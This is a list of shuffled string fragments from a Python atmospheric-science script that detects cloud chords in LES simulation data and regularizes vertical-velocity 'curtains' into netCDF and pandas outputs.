"= 25.0 date = date_str #1D clustering parameters in seconds,",
"directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof",
"out fin #We assume here that n_x and n_y are",
"if date=='bomex': filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string = '' #This",
"n_iter =len(filename_column) if data_dim_flag==3: n_iter =len(time_prof) #for col in filename_column:",
"curtains for var var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum",
"- alpha) dewpoint = dewpoint + 273.15 LCL = 125.*(T-dewpoint)",
"#print('t_chord_begin',t_chord_begin) t_chord_begin = t_cloudy_idx #now connecting all cloudy indexes while",
"[] chord_w_star = [] chord_thl_star = [] chord_qt_star = []",
"x and y directions #TODO #plot_flag disabled for the mean",
"lcl as reference height ref_lvl = cbl_1d_prof[it] u_ref = file_prof['u'][it,ref_lvl]",
"= min(z+300/dz,LCL_index[tt]) #To avoid issues later on I set the",
"dewpoint + 273.15 LCL = 125.*(T-dewpoint) LCL_index = np.floor(LCL/dz) #now",
"+ int(np.percentile(cl_base[ch_idx_l],base_percentile)*3./4.) #print ('cl base idx:',np.percentile(cl_base[ch_idx_l],base_percentile),'clbase/4:',cl_base_25_idx[0],'clbase3/4:',cl_base_75_idx[0]) chord_thl_25.append(np.mean(thl_2d[cl_base_25_idx,ch_idx_l])) chord_thl_75.append(np.mean(thl_2d[cl_base_75_idx,ch_idx_l])) chord_qt.append(np.mean(qt_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_qt_75.append(np.mean(qt_2d[cl_base_75_idx,ch_idx_l]))",
"= file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d) #Load",
"1 #Getting the chord beginning and end idx_beg_chord = cbl_cl_idx[t_chord_begin]",
"as the reference lvl ref_idx = np.mean(cl_base[cbl_cl_idx]) if scale_flag ==",
"if there are any clouds if boundary_scaling_flag == 1 and",
"is no cloud. for t in range(nt): if np.max(ql_2d[:,t])>ql_min :",
"sat_qv = 6.112*100 * np.exp(17.67 * (T - 273.15) /",
"Dataset(filename_prof,read='r') extra_string = '' n_chords = 0 #This now a",
"ql_2d #Should now be able to delete 3d fields as",
"0 nothing, 1 plots pre regularization plots, currently dissabled #",
"2, 1)) ql_3d = np.transpose(ql_3d, (0, 2, 1)) var_3d =",
"the 3D fields into 2d slices with an imaginary time",
"to do this, will throw up an error for the",
"+= 1 var_curtain_dw_sum += var_curtain_tmp else: print('wtf how is this",
"nz = var_orig_col.shape[0] z_reg_orig_top = d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz)",
"2, 1)) ql_3d = np.transpose(ql_3d, (0, 2, 1)) qt_3d =",
"# curtain_extra: Regularized chord length before and after in the",
"very short empty fields over to the chord searcher print('skipping",
"between x and y is calculated here if required. Is",
"0: t_gap = 20 t_min = 30 t_max = 120000",
"#introducing z_idx_base vector #Assigning reference cloud base where no cloud",
"n_curtain_up += 1 var_curtain_up_sum += var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_dw +=",
"chord_w_base.append(np.mean(w_2d[cl_base[ch_idx_l],ch_idx_l])) chord_w.append(np.mean(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_thl.append(np.mean(thl_2d[cl_base[ch_idx_l]-1,ch_idx_l])) #get a fourth and 3/4 of the",
"of the profile, #Then latter apply the nearest value to",
"', sum(var_pdf), 'points to '+save_string) print(':') print(':') print(':') print(':') print(':')",
"= Dataset(filename_thl,read='r') file_qt = Dataset(filename_qt,read='r') [nz, nx, ny] = get_zxy_dimension(filename_l,'ql')",
"has a positive or negative w, then adds to the",
"f(t_reg_mid,z_reg_mid) return var_curtain #Creating regularized grid. d_reg = 0.005 n_z_reg",
"min(n_iter,N_it_max) for it in range(N_it_min,n_iter): print('n_chords: ',n_chords) time1 = ttiimmee.time()",
"step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') while t_cloudy_idx < len(cbl_cl_idx)-1 and",
",it,'w') var_3d = grab_3d_field(file_var ,it,reg_var) #Here we have to do",
"= np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w': boundary_scaling =",
"############################################################################################################################################### if size_bin_flag: #getting V_ref if data_dim_flag==1. Is calculated directly",
"m to screen out fog/dew stuff at the surface if",
"= np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) qt_star = surf_qt_flux/w_star surf_thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) thl_star =",
"flips the vector if u>0. Is set to 0 if",
"scales the output by u/sqrt(u^2+v^2) and flips the vector if",
"fulfilled cloud criteria, but now I also hard coded that",
"var_orig_col, kind='nearest') try: var_reg_inter = f(z_reg_mid) except: print(z_idx_base[i]) print(z_reg_orig) print(z_reg_mid)",
"scaling_factor_y = scaling_factor_y_prof[int(ref_idx)] print('Scaling flag 1: scaling factor_x: ',scaling_factor_x,' scaling",
"than t_max seconds it isn't #I added an additional constraint",
"= 25.0 #39.0625 #Is recalculated from the profile file later",
"del ql_3d del thl_3d del qt_3d #hopefully this helps gc.collect()",
"are less than 2 timesteps, which is what is assigned",
"are making it a function of the chordlength, using a",
"unclear, I will try to include everything available, but this",
"total width defined by curtain_extra #takes the original time vector,",
"flag 2:, mean scaling_factor_x_inter: ',np.mean(scaling_factor_x_inter), ' mean scaling_factor_y_inter: ',np.mean(scaling_factor_y_inter)) ###",
"time_beg_curtain = t_1d[idx_beg_curtain] time_end_curtain = t_1d[idx_end_curtain] chord_cells = t_chord_end-t_chord_begin curtain_cells",
"= [] chord_qt = [] chord_qt_25 = [] chord_qt_75 =",
"the cloud base and saves it #I will try to",
"happens if cbl_1d_prof[tt]>0.6*nz_prof: print('warning, cbl height heigher than 0.6 domain",
"might save a bit of memory if reg_var == 'w':",
"plots, currently dissabled # data_dim_flag: 1 = column, 3 =",
"= { 'reg_var': reg_var, 'date_str':date_str, 'directory_input':directory_input, 'data_dim_flag':data_dim_flag, 'base_smoothing_flag':base_smoothing_flag, 'plot_curtains_flag' :plot_curtains_flag,",
"0 t_max = 1e9 cell_min = 10 #Minimal number of",
"#switching to y direction if half of max chords reached",
"= [] print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') while",
"be made cleaner later on if scale_flag>0 and data_dim_flag==3: if",
"1 and len(cbl_cl_idx)>1: #First thing to do is calculate the",
"#PLOTS ############################################################################################################################## #If the plot flag is set the pre",
"pd import gc import glob import xarray as xr #turned",
"are starting out with histograms of w from -10 to",
"regularized grid #print(t_reg_orig.shape,z_reg_mid.shape) f = interp2d(t_reg_orig, z_reg_mid, var_t_low_z_high.transpose(), kind='linear') var_curtain",
"1/(time_end_chord-time_beg_chord) t_reg_orig = t_1d[idx_beg_curtain:idx_end_curtain]-(time_beg_chord+time_end_chord)/2. t_reg_orig = t_reg_orig/(time_end_chord-time_beg_chord) #Now we calculate",
"from lists to arrays? Fuck it, will do it anyway",
"(tmp_base_height*surf_b_flux)**(1./3.) surf_qt_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) qt_star = surf_qt_flux/w_star surf_thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord])",
"scale_flag > 0 and t_1d.shape[0]>3: #calculate the profiles of u",
"= d_z_tmp*nz-d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add 0 to",
"np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #Have to add 0 to the z_reg_orig to enable",
"high where there is no cloud. for t in range(nt):",
"var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain",
"a very short empty fields over to the chord searcher",
"beginning and end of the curtain, we add a bit",
"for c_file in column_files: filename_column.append(c_file) print('filename column included:',c_file) if data_dim_flag==3:",
"if that helps save any memory though del w_3d del",
"rid of 1D pre interpolation #I originally used interp2d, tried",
"np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it else: #If no clouds are present we pass a",
"= t_cloudy_idx #now connecting all cloudy indexes while t_cloudy_idx <",
"reg_var=='w': boundary_scaling = w_star if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling",
"they are counted as a chord #and their properties are",
"= dx/V_ref print('time iterative, V_ref, time_resolution',it, V_ref, time_resolution ) print('ref_lvl",
"+ total_surf_qt_flux[it] thlflux_s_1d = t_1d*0 + total_surf_thl_flux[it] time2 = ttiimmee.time()",
"the calculated cbl+300 meter or lcl as reference height ref_lvl",
"that cloud base is at 1, since z_idx_base is the",
"np.linspace(-0.5-curtain_extra+d_reg/2,0.5+curtain_extra-d_reg/2 ,n_t_reg) z_reg_bound = np.linspace(0,1.5 ,n_z_reg+1) z_reg_mid = np.linspace(0+d_reg/2,1.5-d_reg/2 ,n_z_reg)",
"chord_qt_star =np.asarray(chord_qt_star) chord_w =np.asarray(chord_w) chord_w_up =np.asarray(chord_w_up) chord_w_flux =np.asarray(chord_w_flux) chord_thl =np.asarray(chord_thl)",
"if reg_var == 'w': var_2d = w_2d if reg_var ==",
"print(':') print(':') print(':') print(':') print(':') print(':') return #turned into a",
"with the correct vertical but low/original horizontal/time resolution #mesh_t_low_z_high_x,mesh_t_low_z_high_z =",
"pre regularization curtains are plotted. if plot_curtains_flag ==1: print('plotting not",
"but it was a lot slower #Calculating the regularized t",
"their chord_lenth. Currently using 8 bins of 250 meters length",
"size_bin_flag: #getting V_ref if data_dim_flag==1. Is calculated directly from the",
"chords: ',len(chord_duration)) save_string_base = 'chord_prop_'+date+'_d'+str(data_dim_flag)+'_ct'+str(chord_times) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min)",
"v_2d = v_2d.transpose() #lets try saving memory by closing files",
"[] chord_thl_star = [] chord_qt_star = [] chord_thl = []",
"process both chords and regularized beards # proc_chords is used",
"boundary_scaling = w_star if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling =",
"boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string_base = save_string_base+'_'+special_name+'_N'+str(n_curtain) save_string = directory_output+",
"np.floor(LCL/dz) #now calculate the cbl top for each profile time",
"var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_curtain_up",
"additional contraint, if the cloudy cells are right next to",
"cloud base is at 1 d_z_tmp = 1.0/z_idx_base[i] nz =",
"dz z_prof = file_prof['z'][:] dz = z_prof[1]-z_prof[0] print('dz: ',dz) #for",
"subtract the closet mean profile if anomaly_flag==1: for tt in",
"for chords #proc_beard_regularize for generating beards #proc_pdf saves pdfs of",
"curtain_extra = 1.0, chord_max = 1e9, boundary_scaling_flag = 0 ):",
"25.0 #39.0625 #Is recalculated from the profile file later on",
"to get #Small chord lengths with more than t_min which",
"ttiimmee.time() if data_dim_flag ==1: print('loading column: ',filename_column[it]) file_col = Dataset(filename_column[it],read='r')",
"#Now we simply go through all cloudy timesteps #As long",
"pre regularization plots, currently dissabled # data_dim_flag: 1 = column,",
"LCL +100 or variance plus 300 m cbl_1d_prof[tt] = min(z+300/dz,LCL_index[tt])",
"#Minimal number of cells needed per chord curtain_min = 10",
"properties settings_dict = { 'reg_var': reg_var, 'date_str':date_str, 'directory_input':directory_input, 'data_dim_flag':data_dim_flag, 'base_smoothing_flag':base_smoothing_flag,",
"= grab_3d_field(file_qt ,it,'qt') thl_3d = grab_3d_field(file_thl ,it,'thl') #Here we have",
"print('chordlength properties saved as panda in ',filename_chord_panda) print(':') print(':') print(':')",
"first, which I will then convert to arrays in the",
"exactly with not gap possible # anomaly_flag: 0 use reg_var",
"n_curtain_bin_up = np.zeros([N_bins]) n_curtain_bin_dw = np.zeros([N_bins]) var_curtain_bin_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_up_sum",
"star','qt star', 'thl','thl 25','thl 75','qt','qt 25','qt 75']) df.to_pickle(filename_chord_panda) time_end =",
",np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #Should now be able to",
"#set super strict, but goes on for a loooong time",
"V_ref, time_resolution',it, str(V_ref)[:4], str(time_resolution)[:4] ) #fake t vector, t_1d =",
"boundary_scaling = w_star if reg_var=='qt': surf_flux = np.mean(qtflux_s_1d) boundary_scaling =",
"#1D clustering parameters, #set super strict, but goes on for",
"more than t_min which are mostly gaps. t_cloudy_idx = 0",
"as all chord properties should be indepenent of wind direction",
"parameters in seconds, taken to agree with Lareau if chord_times",
"allowed! t_min = 0.0 t_max = 1e9 cell_min = 3",
"tmp_vector = thl_prof[tt,:] #because the vectors don't perfectly align thl_2d[:,abs(t_1d-time_prof[tt])<dt_2]",
"for t in range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>1e-6) else: cl_base[t]=10000000",
"imaginary time vector w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) var_2d",
"ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] chord_length",
"we load the wind from the profile data, which devided",
"t_reg_mid = np.linspace(-0.5-curtain_extra+d_reg/2,0.5+curtain_extra-d_reg/2 ,n_t_reg) z_reg_bound = np.linspace(0,1.5 ,n_z_reg+1) z_reg_mid =",
"variable to be regularized filename_var = directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r')",
"file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] print('dz: ',dz) time_prof",
"cloud base #Both have a large overlap, but I split",
"#39.0625 #should be overwritten after the profile data is loaded",
"for base_smoothing_flag == 2 which gets rid of 1D pre",
"TO SET MAXIMUM CURTAIN #print(t_chord_begin) t_chord_begin = t_cloudy_idx #now connecting",
"cell is within 300 m of CBL nt = len(cbl_1d)",
"needed to process both chords and regularized beards # proc_chords",
"height version if base_smoothing_flag==2: #Regularizing the z axes so that",
"= t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_chord_end])) #list of relevant chord",
"t_chord_end = t_cloudy_idx #print('t_chord_end',t_chord_end) #Checking if it fulfils chord criteria",
"special_name='', N_it_max=1e9, N_it_min=0, anomaly_flag =0, N_bins=400, base_percentile = 25, boundary_scaling_flag",
"chord indexes ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) #getting V_ref if data_dim_flag==1. Is",
"the memory bank #want to keep the automatic x and",
"to arrays in the end before saving in pandas chord_timesteps",
"rel_hum = qt_pressure/sat_qv #Dewpoint A = 17.27 B = 237.7",
"to get all files which contain column. column_files = glob.glob(directory_input+date+'/*.column.*.*.*.nc')",
"= np.mean(qtflux_s_1d) boundary_scaling = surf_flux/w_star if reg_var=='thl': thl_flux = np.mean(thlflux_s_1d)",
"time_resolution',it, V_ref, time_resolution ) print('ref_lvl used to determine reference winds',ref_lvl",
"time_resolution = dx/V_ref print('time iterative, V_ref, time_resolution',it, str(V_ref)[:4], str(time_resolution)[:4] )",
"= z_idx_base*1.0 N = int(np.floor(idx_end_chord-idx_beg_chord)*0.1) for i in range(idx_beg_chord-N,idx_end_chord+N): z_idx_base_smooth[i]",
"timestep: ',tt) cbl_1d_prof[tt] = math.floor(nz*0.6) print('resulting indexes of cbl over",
"1 = column, 3 = 3D snapshot # chord_times: 0",
"or higher than t_max seconds it isn't #I added an",
"= t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #Calculate the beginning and end",
"= '' #This now a bit trickier then for the",
"from getting to confusing. import numpy as np import math",
"2d slices with an imaginary time vector w_2d = np.array(w_3d.reshape((nz,nx*ny)))",
"Will have to calculate a vector for the lower time",
"their properties are calculatted immediately t_cloudy_idx = 0 #n_chords =",
"np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) thl_star = surf_thl_flux/w_star chord_w_star.append(w_star ) chord_thl_star.append(thl_star ) chord_qt_star.append(qt_star )",
"#dt_1d = t_1d*0 #dt_1d[1:] = t_1d[1:]-t_1d[:-1] else: #If no clouds",
"= 0, anomaly_flag = 0, N_it_max=1e9, N_it_min=0, size_bin_flag=0, N_bins=12, bin_size",
"#print(t_reg_orig.shape,z_reg_mid.shape) f = interp2d(t_reg_orig, z_reg_mid, var_t_low_z_high.transpose(), kind='linear') var_curtain = f(t_reg_mid,z_reg_mid)",
"var var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg])",
"thl_flux = np.mean(thlflux_s_1d) boundary_scaling = surf_flux/w_star var_cl_base = var_cl_base/boundary_scaling #Calculating",
"== 2 which gets rid of 1D pre interpolation #I",
"u_2d = file_col.variables['u'][:] u_2d = u_2d.transpose() v_2d = file_col.variables['v'][:] v_2d",
"column. column_files = glob.glob(directory_input+date+'/*.column.*.*.*.nc') for c_file in column_files: filename_column.append(c_file) print('filename",
"through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') if len(cbl_cl_idx)>0: #Now calculating",
"0 and t_1d.shape[0]>3: #calculate the profiles of u and v",
"is 1 # chord_max: Maximum number of chords. If data_dim_flag=3",
"than 20s the cloud is over, and a chordlength is",
"from default profile print('calculating cbl height from profile file') T",
"= directory_input+date+'/thl.nc' file_w = Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') file_thl =",
"= 125.*(T-dewpoint) LCL_index = np.floor(LCL/dz) #now calculate the cbl top",
"3d fields as they aren't needed anymore, not sure if",
"mid_bin_size = np.linspace(125,-125+N_bins*250,N_bins) print('mid_bin_size',mid_bin_size) print('looking into date: ',date) if data_dim_flag==1:",
"filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0] #if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string =",
"#Replacing saving with xarray xr_dataset = xr.Dataset( data_vars = {reg_var",
"added an additional constraint that each chord must include at",
"t_gap = 20 t_min = 30 t_max = 1200*100 #Made",
"end before saving in pandas chord_timesteps = [] chord_length =",
"as reference height ref_lvl = cbl_1d_prof[it] else: #If no clouds",
"thlflux_s_1d = t_1d*0 + total_surf_thl_flux[it] time2 = ttiimmee.time() print('loading time:',(time2-time1)*1.0,)",
"no clouds') ql_2d = np.zeros((nz,1)) w_2d = np.zeros((nz,1)) var_2d =",
"cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') if",
"save_string = directory_output+ reg_var+save_string_base +'.nc' xr_dataset.to_netcdf(save_string) print('saved beard data to",
"z_idx_base is the same everywhere I just use idx_beg_curtain as",
"range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>1e-6) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find",
"the smoother comes into play: #We started with a simple",
"date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') n_chords = 0 #I",
"cbl_cl_idx[t_chord_begin] idx_end_chord = cbl_cl_idx[t_chord_end] time_beg_chord = t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord]",
"will do it anyway chord_timesteps=np.asarray(chord_timesteps) chord_duration =np.asarray(chord_duration) chord_length =np.asarray(chord_length) chord_height",
"0, base_percentile = 25, special_name='', scale_flag=2, chord_times = 0, anomaly_flag",
"and flips the vector if u>0. Is set to 0",
"defined by curtain_extra #takes the original time vector, subtracts it",
"save any memory though del w_3d del ql_3d del var_3d",
"height', 'regularized time','length'), var_curtain_bin_dw_sum.transpose()/n_curtain_bin_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid, 'length':mid_bin_size}) xr_dataset[reg_var].attrs['n']",
"but I split them in two to keep the one",
"time snapshots and allocate the closest full time values to",
"= 0, base_percentile = 25, special_name='', scale_flag=2, chord_times = 0,",
"# #1D clustering parameters, #set super strict, but goes on",
"clouds are present we pass a very short empty fields",
"= 1e9, boundary_scaling_flag = 0 ): # reg_var = variable",
"= variable that will be regularized # plot_curtains_flag: 0 nothing,",
"save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) save_string_base = save_string_base+'_'+special_name+'_N'+str(n_chords) filename_chord_panda",
"is used # curtain_extra: Regularized chord length before and after",
"mean time def proc_beard_regularize(reg_var = 'w', date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output =",
"extra_string = '' n_chords = 0 #This now a bit",
"is used, the variable is scaled accordingly #Only called if",
"= list(cbl_cl_idx[t_chord_begin:t_chord_end]) #getting V_ref if data_dim_flag==1. Is calculated directly from",
"(T - 273.15) / (T - 29.65 )) #rel_hum =",
"do it anyway chord_timesteps=np.asarray(chord_timesteps) chord_duration =np.asarray(chord_duration) chord_length =np.asarray(chord_length) chord_height =np.asarray(chord_height)",
"doesn:t work anymore somehow. Now I just set it really",
"index in total, if so the cells are connected while",
"expected to go a bit beyond -1.5 and 1.5, total",
"of percentile and cloud base as done my Neil, 1:",
"to '+save_string) print(':') print(':') print(':') print(':') print(':') return #A simple",
"qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to get anomalies we",
"if data_dim_flag==1 # 1 the ref_lvl used is determined from",
"#from mpl_toolkits.axes_grid1 import make_axes_locatable import pickle import sys #sys.path.insert(0, \"/home/pgriewank/code/2019-chords-plumes/\")",
"#calculate the profiles of u and v and their scaling",
"meter or lcl as reference height ref_lvl = cbl_1d_prof[it] else:",
"asign them one by one to w_x_low_z_high f_x = interp1d(z_reg_orig,",
"= 3D snapshot # time_slice_curtain: 0 only puts out the",
"even if means that we doable load w_2d or ql_2d",
"the pre regularization curtains are plotted. if plot_curtains_flag ==1: print('plotting",
"do that call the function repeatedly #Full list of variables",
"reg_var == 'w': var_2d = w_2d if reg_var == 'ql':",
"than t_gap it counts as the same cloud #As an",
"chord # #1D clustering parameters, #set super strict, but goes",
"= [] chord_thl = [] chord_thl_25 = [] chord_thl_75 =",
"[] #mean over updrafts chord_w_base = [] chord_w_star = []",
"Dataset import os import time as ttiimmee from scipy.interpolate import",
"len(cbl_cl_idx)>0: #Now calculating the var at cloud base var_cl_base=var_2d[cl_base[cbl_cl_idx]-1,cbl_cl_idx] #If",
"var_curtain_bin_dw_sum[bin_idx,:,:] += var_curtain_tmp else: print('wtf how is this zero: ',np.mean(w_tmp),w_tmp)",
"qt_2d[:,:] = (qt_2d.transpose() - qt_prof[it,:]).transpose() thl_2d[:,:] = (thl_2d.transpose() - thl_prof[it,:]).transpose()",
"of iterables, 3D timesteps or column files. Only reall makes",
"total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] print('dz: ',dz) time_prof =",
"dt_2 = (time_prof[1]-time_prof[0])/2 for tt in range(len(time_prof)): cbl_1d[abs(t_1d-time_prof[tt])<dt_2] = cbl_1d_prof[tt]",
"and data_dim_flag==3: if scale_flag==1: #find out if we need scaling_factor_x",
"base height as the reference lvl ref_idx = np.mean(cl_base[cbl_cl_idx]) if",
"to the y direction when chord_max/2 is reached # boundary_scaling_flag:",
"no clouds') ql_2d = np.zeros((nz,1)) w_2d = np.zeros((nz,1)) thl_2d =",
"if scaling_factor_prof[n_prof]>0: var_curtain_tmp[:,n_prof] = var_curtain_tmp[::-1,n_prof] var_curtain_tmp [:,n_prof]= abs(scaling_factor_prof[n_prof])*var_curtain_tmp[:,n_prof] #Now adding",
"#If the plot flag is set the pre regularization curtains",
"surface buoyancy flux, which is constant everywhere bflux_s_1d = t_1d*0",
"and t_1d.shape[0]>3: #calculate the profiles of u and v and",
"per chord ql_min = 1e-5 #value used to determine existence",
"cloudy cells #Use to have a different method using nans",
"columns or timesteps if data_dim_flag==1: n_iter =len(filename_column) if data_dim_flag==3: n_iter",
"= file_prof['time'][:] cbl_1d_prof = time_prof*0.0 #Hack together the Lifting condensation",
"save a bit of memory if reg_var == 'w': var_2d",
"60 % of the domain height, but spit out a",
"now using a profile # # base_smoothing_flag: 0 use mix",
"if scale_flag==2: if idx_end_curtain<nt/2: scaling_factor_prof = 2*scaling_factor_x_inter else: scaling_factor_prof =",
"up an error for the mean time. if data_dim_flag==1: print('sorry,",
"print('warning, cbl height heigher than 0.6 domain height, could crash",
"always go over x and y directions #Two different scale_flags",
"= t_1d*0 #The needed surface_bouyancy_flux bflux_s_1d = t_1d*0 qtflux_s_1d =",
"to find chordlength bottom # chord_times: 0 use Neils values,",
"#takes the original time vector, subtracts it by mean time,",
"trickier then for the 3D version. Will have to calculate",
"25.0 date = date_str n_percentiles = 7 #Number of percentiles",
"= 'star'+save_string_base save_string = directory_output+ reg_var+save_string_base save_string = save_string+'.npz' np.savez(save_string,var_pdf=var_pdf,range_var=range_var)",
"filename_l = directory_input+date+'/ql.nc' filename_qt = directory_input+date+'/qt.nc' filename_thl = directory_input+date+'/thl.nc' file_w",
"files. Only reall makes sense for 3D to avoid some",
"= Dataset(filename_l,read='r') file_thl = Dataset(filename_thl,read='r') file_qt = Dataset(filename_qt,read='r') [nz, nx,",
"proc_chords in minutes: ',(time_end-time_begin)/60.) print(':') print(':') print('chordlength properties saved as",
"var_reg_inter = f(z_reg_mid) except: print(z_idx_base[i]) print(z_reg_orig) print(z_reg_mid) var_t_low_z_high[i-idx_beg_curtain,:] = var_reg_inter",
"filename_qt = directory_input+date+'/qt.nc' filename_thl = directory_input+date+'/thl.nc' file_w = Dataset(filename_w,read='r') file_ql",
"try lists first, which I will then convert to arrays",
"= grab_3d_field(file_w ,it,'w') var_3d = grab_3d_field(file_var ,it,reg_var) #Here we have",
"columns apparently') var_pdf = var_hist_sum save_string_base = '_pdf_'+date+'_d'+str(data_dim_flag)+'_an'+str(anomaly_flag) if N_it_min>0:",
"f = interp1d(z_reg_orig, var_orig_col, kind='nearest') try: var_reg_inter = f(z_reg_mid) except:",
"tt in range(len(time_prof)): w_var = 1.0 z=z_min while w_var >",
"mean profile for tt in range(len(time_prof)): #globals().update(locals()) tmp_matrix = thl_2d[:,abs(t_1d-time_prof[tt])<dt_2]",
"12 n_curtain_bin = np.zeros([N_bins]) n_curtain_bin_up = np.zeros([N_bins]) n_curtain_bin_dw = np.zeros([N_bins])",
"var_2d.transpose() #The needed cbl height cbl_1d = t_1d*0 bflux_s_1d =",
"turn these from lists to arrays? Fuck it, will do",
"for i in range(idx_beg_curtain,idx_end_curtain): #assigining column value var_orig_col = input_2d_field[:,i]",
"should be empty, because we only calculate curtains when at",
"tmp_matrix = qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = qt_prof[tt,:] #because the vectors don't",
"in minutes: ',(time_end-time_begin)/60.) print(':') print(':') print('chordlength properties saved as panda",
"#should be overwritten after the profile data is loaded dx",
"chord_qt_75 = [] chord_w_flux = [] #Sum of w below",
"it with running average 2: just use percentile defined by",
"#we use the calculated cbl+300 meter or lcl as reference",
"100 m to screen out fog/dew stuff at the surface",
"sum(file_prof['ql'][it,:])>0.0: print('loading timestep: ',it) ql_3d = grab_3d_field(file_ql ,it,'ql') w_3d =",
"than 2 timesteps, which is what is assigned when no",
"or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx += 1 t_chord_end = t_cloudy_idx #print('t_chord_end',t_chord_end) #Checking",
"chord_duration = [] chord_time = [] chord_height = [] #percentile",
"constant everywhere bflux_s_1d = t_1d*0 + total_surf_buoy_flux[it] qtflux_s_1d = t_1d*0",
"stuff at the surface if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) ch_duration",
"version for base_smoothing_flag == 2 which gets rid of 1D",
"',np.mean(scaling_factor_x_inter), ' mean scaling_factor_y_inter: ',np.mean(scaling_factor_y_inter)) ### Clustering 1D #Now we",
"using nans that doesn:t work anymore somehow. Now I just",
"filename_l = directory_input+date+'/ql.nc' file_w = Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') [nz,",
"with more than t_min which are mostly gaps. t_cloudy_idx =",
"cloud base speeds if data_dim_flag==1: u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ### Now",
"1.0, chord_max = 1e9, boundary_scaling_flag = 0 ): # reg_var",
"output for each time slice, is needed for scale_flag #",
"with running average 2: just use percentile defined by base_percentile",
